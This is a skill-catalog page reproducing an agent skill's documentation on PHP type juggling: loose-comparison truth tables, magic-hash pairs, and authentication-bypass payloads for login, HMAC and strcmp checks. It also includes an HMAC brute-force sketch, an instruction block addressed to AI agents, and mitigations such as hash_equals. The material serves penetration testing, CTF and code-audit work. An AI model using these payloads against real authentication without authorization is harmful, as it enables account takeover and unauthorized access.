
Type Juggling
- 2.2k installs
- 1.5k repo stars
- Updated June 16, 2026
- yaklang/hack-skills
type-juggling is an agent skill that >-.
About
>- --- name: type-juggling description: >- PHP type juggling and weak comparison (`==`) bypass. Use when authentication, HMAC/signature checks, or token validation uses loose equality, numeric coercion, or hash comparisons without strict types - common in legacy PHP and CTF-style code paths. --- # SKILL: PHP Type Juggling - Weak Comparison & Magic Hash Bypass > **AI LOAD INSTRUCTION**: PHP `==` coercion, magic hashes (`0e…`), HMAC/hash loose checks, NULL from bad types, and CTF-style `strcmp` / `json_decode` / `intval` tricks. Use strict routing: map the sink (`==` vs `hash_equals`), PHP major version, and whether both operands are attacker-controlled. Routing note: when you encounter PHP login/signature logic or code like `md5($_GET['x'])==md5($_GET['y'])`, start with this skill; if `hash_equals`/`===` is already used, this path usually does not apply. QUICK START **First-pass goal**: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password.
- SKILL: PHP Type Juggling - Weak Comparison & Magic Hash Bypass
- Conceptual: try many timestamps
- --- name: type-juggling description: >- PHP type juggling and weak comparison (`==`) bypass.
- Use strict routing: map the sink (`==` vs `hash_equals`), PHP major version, and whether both operands are attacker-cont
- QUICK START **First-pass goal**: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess
Type Juggling by the numbers
- 2,238 all-time installs (skills.sh)
- +130 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #362 of 2,153 Testing & QA skills by installs in the Skillselion catalog
- Security screen: CRITICAL risk (skills.sh audit)
- Data as of Aug 5, 2026 (Skillselion catalog sync)
type-juggling capabilities & compatibility
- Capabilities
- skill: php type juggling — weak comparison & mag · conceptual: try many timestamps · name: type juggling description: > php type · use strict routing: map the sink (`==` vs `hash_ · quick start **first pass goal**: prove the serve
- Use cases
- documentation
What type-juggling says it does
--- name: type-juggling description: >- PHP type juggling and weak comparison (`==`) bypass.
Use when authentication, HMAC/signature checks, or token validation uses loose equality, numeric coercion, or hash comparisons without strict types — common in legacy PHP and CTF-style code paths.
Use strict routing: map the sink (`==` vs `hash_equals`), PHP major version, and whether both operands are attacker-controlled.
QUICK START **First-pass goal**: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password.
npx skills add https://github.com/yaklang/hack-skills --skill type-jugglingAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 2.2k |
|---|---|
| repo stars | ★ 1.5k |
| Security audit | 2 / 3 scanners passed |
| Last updated | June 16, 2026 |
| Repository | yaklang/hack-skills ↗ |
What problem does type-juggling solve for developers using this skill?
>-
Who is it for?
Developers who need type-juggling patterns described in the cached skill documentation.
Skip if: Skip when docs are empty or the task is outside the skill's documented scope.
When should I use this skill?
>-
What you get
Actionable workflows and conventions from SKILL.md for type-juggling.
- coercion sink map
- bypass payload
- authentication bypass proof
By the numbers
- Covers magic hash 0e comparisons, HMAC loose checks, and strcmp/json_decode/intval tricks
- Routes by sink operator (== vs hash_equals) and PHP major version
Files
SKILL: PHP Type Juggling — Weak Comparison & Magic Hash Bypass
AI LOAD INSTRUCTION: PHP==coercion, magic hashes (0e…), HMAC/hash loose checks, NULL from bad types, and CTF-stylestrcmp/json_decode/intvaltricks. Use strict routing: map the sink (==vshash_equals), PHP major version, and whether both operands are attacker-controlled. Routing note: when you encounter PHP login/signature logic or code likemd5($_GET['x'])==md5($_GET['y']), start with this skill; ifhash_equals/===is already used, this path usually does not apply.
0. QUICK START
First-pass goal: prove the server branch treats unequal secrets/tokens as equal via coercion, not guess the real password.
First-pass payloads (auth / token shape)
password[]=x
password=
0
0e12345
240610708
QNKCDZO
true
[]
{"password":true}
admin%00Minimal PHP probes (local or php -r in lab)
<?php
// Loose compare probes — run in target PHP major version if possible
var_dump('0e123' == '0e999');
var_dump('123a' == 123);
var_dump(md5('240610708') == md5('QNKCDZO'));Routing hints
| Clue | Next step |
|---|---|
Source code uses == to compare passwords, tokens, or HMAC values | Go to Sections 1-3 |
md5($a) == md5($b) or loose sha1 comparison | Section 2 magic hashes |
hash_hmac(...) != '0' or compared with "0" | Section 3 |
strcmp、json_decode(..., true)、intval | Section 5 |
---
1. LOOSE COMPARISON (==) — TRUTH TABLE & VERSIONS
PHP compares operands with type juggling unless you use === or hash_equals() for secrets.
1.1 Core examples (strings vs numbers)
| Expression | Result | Mechanism (short) |
|---|---|---|
'0010e2' == '1e3' | true | Both strings look numeric → compared as floats; both parse to 1000.0 (not zero — common exam trap; see next row for real “both zero”) |
'0e462097431906509019562988736854' == '0e830400451993494058024219903391' | true | Both parse as 0.0 in scientific notation |
'123a' == 123 | true | String cast to int stops at first non-digit → 123 |
'abc' == 0 | true (PHP 7.x and earlier) | Non-numeric string compared to int → string becomes 0 |
'' == 0 | true | Empty string → 0 |
'' == false | true | both “falsy” in loose rules |
false == NULL | true | loose equality |
0 == false | true | loose equality |
'' == 0 == false == NULL | true (chain) | Each adjacent pair is true under == (''==0, 0==false, false==NULL) — classic “falsy” chain |
'0' == false | true | String '0' is the only non-empty string that compares as false to boolean |
'php' == 0 | false (PHP 8+) | PHP 8: non-numeric string no longer equals 0 |
1.2 PHP 5 vs 7 vs 8 (high-signal deltas)
| Topic | PHP 5.x / 7.x (typical) | PHP 8.0+ |
|---|---|---|
0 == "foo" | true (string → 0) | false |
String-to-number for "123a" | Still truncates for (int) / numeric compare in many == paths | Same idea for numeric strings; non-numeric vs int fixed as above |
md5([]) / sha1([]) | May warn / NULL-like behavior in older patterns | TypeError for wrong types — kills classic [] tricks unless error handling collapses to NULL |
Tester takeaway: always note PHP version from headers, X-Powered-By, or fingerprint; a payload that works on PHP 7 may fail on PHP 8.
1.3 Safe alternative (defense / verification)
hash_equals((string)$expected, (string)$actual); // timing-safe, strict string
// or
$expected === $actual;---
2. MAGIC HASHES (0e… + digits only)
When both sides are hex-looking hash strings that match ^0e[0-9]+$, PHP treats them as floats in scientific notation → value 0.0. Then md5(A) == md5(B) is true even though digests differ as strings.
2.1 Reference table (MD5 / SHA-1 and longer algos)
| Algorithm | Example input | Digest (starts with 0e + all decimal digits) |
|---|---|---|
| MD5 | 240610708 | 0e462097431906509019562988736854 |
| MD5 | QNKCDZO | 0e830400451993494058024219903391 |
| SHA-1 | 10932435112 | 0e07766915004133176347055865026311692244 |
| SHA-224 | (brute-force / precomputed) | Example form: 0e + decimal digits only → == with another such string is true |
| SHA-256 | (brute-force / precomputed) | Same pattern: only strings matching ^0e\d+$ collide under == |
Why it works: md5('240610708') == md5('QNKCDZO') → both sides match ^0e[0-9]+$ → both interpreted as 0.0 == 0.0 → true.
2.2 Exploit pattern in code
if (md5($_GET['a']) == md5($_GET['b']) && $_GET['a'] != $_GET['b']) {
// intended: different strings, same md5 (impossible for md5)
// actual: two different strings whose *digests* are magic hashes
}2.3 Payload sketch (pair hunting)
?a=240610708&b=QNKCDZOFor SHA-224/256, treat as search problem: brute-force inputs until digest matches ^0e\d+$; pair two distinct inputs. Longer hashes = harder; MD5/SHA1 examples above are the usual teaching set.
---
3. HMAC BYPASS (LOOSE COMPARE VS "0" OR 0)
If logic uses loose inequality against a constant:
if (hash_hmac('md5', $data, $key) != '0') { /* ok */ }
// or == 0, == false with string "0e...", etc.Brute-force `$data` (e.g. timestamp, nonce, counter) until hash_hmac output matches `^0e[0-9]+$` (for MD5 output) or the code’s specific loose rule — then the hash may compare equal to 0 or to another magic digest under ==.
Example (MD5-style 0e digest for a numeric message)
| Concept | Example |
|---|---|
| Message type | Unix timestamp, incrementing id, millisecond clock |
| Timestamp brute-force pattern | Tutorials sometimes cite 1539805986 → 0e772967136366835494939987377058 as a magic-hash style example; `md5('1539805986')` does not yield that digest in stock PHP — use the idea (scan timestamps / counters until output matches ^0e[0-9]+$) and always verify against the exact function + key in the target code. |
| Goal | Find $data such that hash_hmac('md5', $data, $key) matches ^0e[0-9]+$ |
| Note | Without knowing $key, you may still brute `$data` if algorithm/output are visible in a oracle; CTFs often leak or fix key |
# Conceptual: try many timestamps
for t in range(T0, T1):
if re.fullmatch(r'0e\d+', hmac_md5(str(t), key)):
use tMitigation: hash_equals($mac, $expected) + fixed-length hex/binary encoding; never compare HMAC to bare "0".
---
4. NULL JUGGLING (ARRAYS & TYPE ERRORS)
Invalid types can yield `NULL` on the compared side; loose equality to another NULL or coerced value may pass.
| Call | Typical PHP 7/8 behavior |
|---|---|
md5([]) | PHP 8: TypeError; older: warnings / not reliable across versions |
sha1([]) | Same |
| Idea | If error handler or custom wrapper converts failures to `NULL`, then NULL == NULL or NULL == sha1("x") if other side is also NULL |
// CTF / broken code mental model:
@sha1($_GET['x']) == @sha1($_GET['y']); // if both error to NULL → trueReal audits: look for `@`, custom try/catch that sets hash to null, or user input passed where a string is required.
---
5. CTF PATTERNS
5.1 strcmp / strcasecmp with arrays
strcmp([], "password"); // NULL in PHP 7/8 (invalid args)
// NULL == 0 → true in loose compare if code does:
if (strcmp($_GET['p'], $secret) == 0)Payload:
?p[]=15.2 intval bypass
// Hex: base 0 lets PHP interpret 0x prefix (version-dependent; always verify)
intval("0x1A", 0); // → 26
// Octal: leading 0 can be parsed as octal with base 0
intval("010", 0); // → 8 (classic teaching example; confirm on target PHP)
// Scientific notation: intval() alone stops at 'e'; cast via float first
intval((float) "1e2"); // → 100?id=0x1A
?id=010
?id=1e25.3 json_decode + true for associative array auth
{"password": true}$j = json_decode($input, true);
if ($j['password'] == $stored_string) // true == "nonempty" often true — see PHP loose rules5.4 is_numeric + loose compare
is_numeric("0e12345"); // true
"0e12345" == 0; // true (scientific notation → 0.0)5.5 Deserialization + magic properties
Unserialize user input into objects whose __toString or properties feed into md5($obj) or loose compare — combine with magic hash strings on properties (CTF). Look for unserialize($_…) near == on hashes.
---
6. DECISION TREE
+------------------+
| PHP loose compare|
| or hash == hash? |
+--------+---------+
|
+-------------+-------------+
| |
+------v------+ +------v------+
| Uses === or | | Uses == or |
| hash_equals | | strcmp == 0 |
+------+------+ +------+-------+
| |
STOP (likely) +-----v-----+
| Operand |
| types? |
+-----+-----+
+--------------+---+--------------+
| | |
+------v------+ +-----v-----+ +-------v--------+
| Both numeric| | One int & | | Hash digests |
| strings 0e… | | one string| | both 0e\d+ ? |
+------+------+ +-----+-----+ +-------+--------+
| | |
MAGIC HASH STRING/INT MAGIC HASH
COLLISION JUGGLING (md5/sha1/…)
| | |
+------+-------+------------------+
|
+------v------+
| HMAC / MAC |
| vs "0" |
+------+------+
|
brute $data
for 0e… digest
|
+------v------+
| Arrays / |
| json true / |
| strcmp([]) |
+-------------+Tool references
| Tool | Use |
|---|---|
Local php CLI | Reproduce == behavior for target major version |
| Static code review | Grep ==, != on crypto outputs; find missing hash_equals |
| CTF frameworks | Payload generators for magic hashes and 0e search |
---
Safety & scope: Use only on authorized targets (CTF, lab, written permission). This skill explains language semantics for defense and assessment — not a license to attack systems without consent.
Related skills
How it compares
Pick type-juggling for PHP == and magic hash bypasses, not general SQL injection or XSS testing playbooks.
FAQ
What does type-juggling do?
>-
When should I use type-juggling?
>-
Is type-juggling safe to install?
Review the Security Audits panel on this page before installing in production.